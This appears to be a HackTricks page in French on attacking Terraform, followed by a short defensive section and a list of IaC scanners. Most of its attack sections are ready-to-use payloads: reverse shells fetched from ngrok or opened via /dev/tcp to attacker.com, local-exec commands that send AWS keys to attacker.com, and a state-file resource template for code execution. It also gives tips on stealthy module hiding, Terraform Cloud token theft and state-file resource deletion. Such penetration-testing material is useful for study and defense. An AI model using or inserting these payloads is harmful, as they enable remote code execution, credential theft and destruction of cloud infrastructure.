25 KiB
Sécurité Terraform
{{#include ../banners/hacktricks-training.md}}
Informations de base
HashiCorp Terraform est un outil d'infrastructure as code qui vous permet de définir à la fois des ressources cloud et on-prem dans des fichiers de configuration lisibles par des humains que vous pouvez versionner, réutiliser et partager. Vous pouvez ensuite utiliser un workflow cohérent pour provisionner et gérer l'ensemble de votre infrastructure tout au long de son cycle de vie. Terraform peut gérer des composants bas niveau comme le compute, le storage et les ressources réseau, ainsi que des composants haut niveau comme les entrées DNS et des fonctionnalités SaaS.
Comment fonctionne Terraform ?
Terraform crée et gère des ressources sur des plateformes cloud et d'autres services via leurs APIs. Les providers permettent à Terraform de fonctionner avec pratiquement n'importe quelle plateforme ou service disposant d'une API accessible.
HashiCorp et la communauté Terraform ont déjà écrit plus de 1700 providers pour gérer des milliers de types de ressources et de services différents, et ce nombre ne cesse de croître. Vous pouvez trouver tous les providers disponibles publiquement sur le Terraform Registry, y compris Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, et bien d'autres.
Le workflow principal de Terraform se compose de trois étapes :
- Write: Vous définissez des ressources, qui peuvent s'étendre sur plusieurs cloud providers et services. Par exemple, vous pouvez créer une configuration pour déployer une application sur des machines virtuelles dans un réseau Virtual Private Cloud (VPC) avec des security groups et un load balancer.
- Plan: Terraform crée un plan d'exécution décrivant l'infrastructure qu'il va créer, mettre à jour ou détruire en fonction de l'infrastructure existante et de votre configuration.
- Apply: Après approbation, Terraform effectue les opérations proposées dans le bon ordre, en respectant les dépendances entre ressources. Par exemple, si vous mettez à jour les propriétés d'un VPC et changez le nombre de machines virtuelles dans ce VPC, Terraform recréera le VPC avant de mettre à l'échelle les machines virtuelles.
Laboratoire Terraform
Il suffit d'installer terraform sur votre ordinateur.
Vous trouverez ici un [guide] et ici le [best way to download terraform].
RCE in Terraform : empoisonnement de fichier de configuration
Terraform n'expose pas de plateforme avec une page web ou un service réseau que nous pouvons énumérer, par conséquent, la seule façon de compromettre terraform est d'être capable d'ajouter/modifier les fichiers de configuration terraform ou d'être capable de modifier le fichier d'état terraform (voir chapitre ci-dessous).
Cependant, terraform est un composant très sensible à compromettre car il aura des accès privilégiés à différents emplacements pour pouvoir fonctionner correctement.
La principale manière pour un attaquant de compromettre le système où terraform tourne est de compromettre le repository qui stocke les configurations terraform, parce qu'à un moment elles vont être interprétées.
En fait, il existe des solutions qui exécutent terraform plan/apply automatiquement après la création d'une PR, comme Atlantis :
{{#ref}} atlantis-security.md {{#endref}}
Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons d'effectuer une RCE lorsque quelqu'un exécute terraform plan ou terraform apply.
Terraform plan
Terraform plan est la commande la plus utilisée dans terraform et les développeurs/solutions utilisant terraform l'appellent tout le temps, donc la manière la plus simple d'obtenir une RCE est de vous assurer d'empoisonner un fichier de configuration terraform qui exécutera des commandes arbitraires lors d'un terraform plan.
Using an external provider
Terraform propose le external provider qui offre un moyen d'interfacer Terraform avec des programmes externes. Vous pouvez utiliser la data source external pour exécuter du code arbitraire pendant un plan.
Injecter dans un fichier de configuration terraform quelque chose de similaire à ce qui suit exécutera une rev shell lors de l'exécution de terraform plan :
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Utilisation d'un custom provider
Un attaquant pourrait soumettre un custom provider au Terraform Registry puis l'ajouter au code Terraform dans une branche de fonctionnalité (example from here):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
Le provider est téléchargé lors de init et exécutera le code malveillant lorsque plan sera exécuté
You can find an example in https://github.com/rung/terraform-provider-cmdexec
Utiliser une référence externe
Les deux options mentionnées sont utiles mais pas très discrètes (la deuxième est plus discrète mais plus complexe que la première). Vous pouvez réaliser cette attaque de manière encore plus discrète, en suivant ces suggestions :
- Au lieu d'ajouter la rev shell directement dans le terraform file, vous pouvez charger une ressource externe qui contient la rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
Vous pouvez trouver le rev shell code dans https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- Dans la ressource externe, utilisez la fonctionnalité ref pour cacher le terraform rev shell code dans une branche du repo, quelque chose comme :
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Terraform Apply
Terraform apply sera exécuté pour appliquer tous les changements, vous pouvez aussi l'abuser pour obtenir une RCE en injectant un fichier Terraform malveillant avec local-exec.
Il suffit de vous assurer qu'un payload comme les exemples suivants se termine dans le fichier main.tf :
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Suivez les suggestions de la technique précédente pour réaliser cette attaque de manière plus discrète en utilisant des références externes.
Extraction de secrets
Vous pouvez obtenir l'extraction des valeurs secrètes utilisées par terraform en exécutant terraform apply en ajoutant au fichier terraform quelque chose comme :
output "dotoken" {
value = nonsensitive(var.do_token)
}
Abuser des fichiers d'état Terraform
Dans le cas où vous avez un accès en écriture aux fichiers d'état Terraform mais ne pouvez pas modifier le code Terraform, this research donne des options intéressantes pour tirer parti du fichier. Même si vous aviez un accès en écriture aux fichiers de configuration, utiliser le vecteur des fichiers d'état est souvent bien plus discret, puisque vous ne laissez pas de traces dans l'historique git.
RCE in Terraform: empoisonnement des fichiers de configuration
Il est possible de create a custom provider et simplement remplacer l'un des providers dans le terraform state file par un provider malveillant ou ajouter un fake resource référencant le provider malveillant.
Le provider statefile-rce s'appuie sur cette recherche et exploite ce principe. Vous pouvez ajouter une fake resource et indiquer la commande bash arbitraire que vous souhaitez exécuter dans l'attribut command. Lorsque l'exécution de terraform est déclenchée, cela sera lu et exécuté à la fois lors des étapes terraform plan et terraform apply. Dans le cas de l'étape terraform apply, terraform supprimera la fake resource du state file après avoir exécuté votre commande, nettoyant ainsi ses traces. Plus d'informations et une démonstration complète sont disponibles dans le GitHub repository hosting the source code for this provider.
Pour l'utiliser directement, incluez simplement ce qui suit à n'importe quelle position du tableau resources et personnalisez les attributs name et command :
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Ensuite, dès que terraform est exécuté, votre code s'exécutera.
Suppression des ressources
Il existe 2 façons de détruire des ressources :
- Insérer une ressource avec un nom aléatoire dans le fichier d'état pointant vers la vraie ressource à détruire
Parce que terraform verra que la ressource ne devrait pas exister, il la détruira (en suivant l'ID réel de la ressource indiqué). Exemple de la page précédente :
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- Modifier la ressource de façon à ce qu'il soit impossible de la mettre à jour (elle sera donc supprimée puis recréée)
Pour une instance EC2, modifier le type de l'instance suffit pour que terraform la supprime puis la recrée.
Remplacer un provider mis sur liste noire
Si vous rencontrez une situation où hashicorp/external a été mis sur liste noire, vous pouvez réimplémenter le provider external en procédant comme suit. Remarque : nous utilisons un fork du provider external publié sur https://registry.terraform.io/providers/nazarewk/external/latest. Vous pouvez publier votre propre fork ou réimplémentation également.
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
Ensuite, vous pouvez utiliser external comme d'habitude.
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
Terraform Cloud speculative plan RCE and credential exfiltration
Ce scénario abuse les runners Terraform Cloud (TFC) pendant les speculative plans pour pivoter dans le compte cloud cible.
-
Prérequis:
-
Voler un token Terraform Cloud depuis une machine de développeur. Le CLI stocke les tokens en texte en clair dans
~/.terraform.d/credentials.tfrc.json. -
Le token doit avoir accès à l'organisation/workspace cible et au moins la permission
plan. Les workspaces liés à un VCS bloquentapplydepuis le CLI, mais autorisent toujours les speculative plans. -
Découvrir les paramètres du workspace et du VCS via l'API TFC:
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
- Déclencher l'exécution de code lors d'un speculative plan en utilisant l'external data source et le bloc Terraform Cloud "cloud" pour cibler le VCS-backed workspace:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
Exemple de rsync.sh pour obtenir une reverse shell sur le TFC runner:
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
Lancer un plan spéculatif pour exécuter le programme sur le runner éphémère :
terraform init
terraform plan
- Enumerate and exfiltrate injected cloud credentials depuis le runner. Pendant les runs, TFC injecte provider credentials via files et environment variables:
env | grep -i gcp || true
env | grep -i aws || true
Fichiers attendus dans le répertoire de travail du runner :
-
GCP:
-
tfc-google-application-credentials(configuration JSON Workload Identity Federation) -
tfc-gcp-token(jeton d'accès GCP éphémère) -
AWS:
-
tfc-aws-shared-config(configuration d'AssumeRole web identity/OIDC) -
tfc-aws-token(jeton éphémère ; certaines organisations peuvent utiliser des clés statiques) -
Utilisez les identifiants éphémères hors canal pour contourner les gates VCS :
GCP (gcloud):
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
AWS (AWS CLI):
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
Avec ces creds, les attaquants peuvent créer/modifier/supprimer des ressources directement en utilisant les CLIs natifs, contournant les workflows basés sur PR qui bloquent apply via VCS.
- Defensive guidance:
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Restrict
planpermission on sensitive VCS-backed workspaces where feasible. - Enforce provider/data source allowlists with Sentinel policies to block
data "external"or unknown providers. See HashiCorp guidance on provider filtering. - Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
- Detect exfiltration of
tfc-*credential artifacts and alert on suspiciousexternalprogram usage during plans.
Compromising Terraform Cloud
Using a token
As explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. Stealing this token lets an attacker impersonate the user within the token’s scope.
Using this token it's possible to get the org/workspace with:
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
Il est alors possible d'exécuter du code arbitraire en utilisant terraform plan comme expliqué dans le chapitre précédent.
Évasion vers le cloud
Ensuite, si le runner est situé dans un environnement cloud, il est possible d'obtenir le token du principal attaché au runner et de l'utiliser out of band.
-
Fichiers GCP (présents dans le répertoire de travail de l'exécution courante)
-
tfc-google-application-credentials— JSON de configuration pour Workload Identity Federation (WIF) qui indique à Google comment échanger l'identité externe. -
tfc-gcp-token— token d'accès GCP de courte durée (≈1 heure) référencé par le fichier ci‑dessus -
Fichiers AWS
-
tfc-aws-shared-config— JSON pour web identity federation / OIDC role assumption (préféré aux clés statiques). -
tfc-aws-token— token de courte durée, ou potentiellement des clés IAM statiques si mal configuré.
Outils d'audit automatiques
Snyk Infrastructure as Code (IaC)
Snyk propose une solution complète de scanning Infrastructure as Code (IaC) qui détecte les vulnérabilités et les mauvaises configurations dans Terraform, CloudFormation, Kubernetes, et autres formats IaC.
- Fonctionnalités :
- Analyse en temps réel des vulnérabilités de sécurité et des problèmes de conformité.
- Intégration avec les systèmes de contrôle de version (GitHub, GitLab, Bitbucket).
- Pull requests de correction automatisées.
- Conseils de remédiation détaillés.
- Inscription : Créez un compte sur Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkov est un outil d'analyse statique de code pour l'infrastructure as code (IaC) et aussi un outil d'analyse de composition logicielle (SCA) pour les images et les paquets open source.
Il analyse l'infrastructure cloud provisionnée à l'aide de Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu et détecte les erreurs de configuration de sécurité et de conformité en utilisant une analyse basée sur un graphe.
Il effectue Software Composition Analysis (SCA) scanning qui consiste en une analyse des paquets open source et des images à la recherche de Common Vulnerabilities and Exposures (CVEs).
pip install checkov
checkov -d /path/to/folder
terraform-compliance
From the docs: terraform-compliance est un framework de tests léger, axé sur la sécurité et la conformité, pour terraform, permettant des tests négatifs pour votre infrastructure en tant que code.
- compliance: S'assurer que le code implémenté respecte les standards de sécurité, ainsi que vos propres standards personnalisés
- behaviour driven development: On utilise le BDD pour presque tout, pourquoi pas pour IaC ?
- portable: installez-le simplement via
pipou exécutez-le viadocker. Voir Installation - pre-deploy: il valide votre code avant son déploiement
- easy to integrate: il peut s'exécuter dans votre pipeline (ou dans des git hooks) pour s'assurer que tous les déploiements sont validés.
- segregation of duty: vous pouvez conserver vos tests dans un dépôt différent où une équipe distincte en est responsable.
Note
Malheureusement, si le code utilise des providers auxquels vous n'avez pas accès, vous ne pourrez pas exécuter le
terraform planni lancer cet outil.
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
From the docs: tfsec uses static analysis of your terraform code to spot potential misconfigurations.
- ☁️ Vérifie les mauvaises configurations sur tous les principaux (et certains mineurs) fournisseurs cloud
- ⛔ Des centaines de règles intégrées
- 🪆 Scanne les modules (locaux et distants)
- ➕ Évalue les expressions HCL ainsi que les valeurs littérales
- ↪️ Évalue les fonctions Terraform, p.ex.
concat() - 🔗 Évalue les relations entre les ressources Terraform
- 🧰 Compatible avec Terraform CDK
- 🙅 Applique (et enrichit) les politiques Rego définies par l'utilisateur
- 📃 Prend en charge plusieurs formats de sortie : lovely (par défaut), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (via des flags CLI et/ou un fichier de config)
- ⚡ Très rapide, capable d'analyser rapidement d'énormes dépôts
brew install tfsec
tfsec /path/to/folder
terrascan
Terrascan est un analyseur statique de code pour Infrastructure as Code. Terrascan vous permet de :
- Scanner en toute transparence l'infrastructure as code pour détecter les erreurs de configuration.
- Surveiller l'infrastructure cloud provisionnée pour les modifications de configuration qui entraînent une dérive de posture, et permettre de revenir à une posture sécurisée.
- Détecter les vulnérabilités de sécurité et les violations de conformité.
- Atténuer les risques avant de provisionner l'infrastructure cloud native.
- Offre la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD.
brew install terrascan
terrascan scan -d /path/to/folder
KICKS
Détectez les vulnérabilités de sécurité, les problèmes de conformité et les mésconfigurations d'infrastructure dès les premières étapes du cycle de développement de votre infrastructure-as-code avec KICS de Checkmarx.
KICS signifie Keeping Infrastructure as Code Secure, c'est open source et un incontournable pour tout projet cloud natif.
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
From the docs: Terrascan est un analyseur statique de code pour Infrastructure as Code. Terrascan vous permet de :
- Scanner de façon transparente l'Infrastructure as Code pour détecter les mauvaises configurations.
- Surveiller l'infrastructure cloud provisionnée pour détecter les changements de configuration qui entraînent du posture drift, et permettre de revenir à une posture sécurisée.
- Détecter les vulnérabilités de sécurité et les violations de conformité.
- Atténuer les risques avant de provisionner l'infrastructure cloud native.
- Offre la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD.
brew install terrascan
Références
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
- Terraform Cloud token abuse turns speculative plan into remote code execution
- Terraform Cloud permissions
- Terraform Cloud API – Show workspace
- AWS provider configuration
- AWS CLI – OIDC role assumption
- GCP provider – Using Terraform Cloud
- Terraform – Sensitive variables
- Snyk Labs – Gitflops: dangers of Terraform automation platforms
{{#include ../banners/hacktricks-training.md}}
.png)
.png)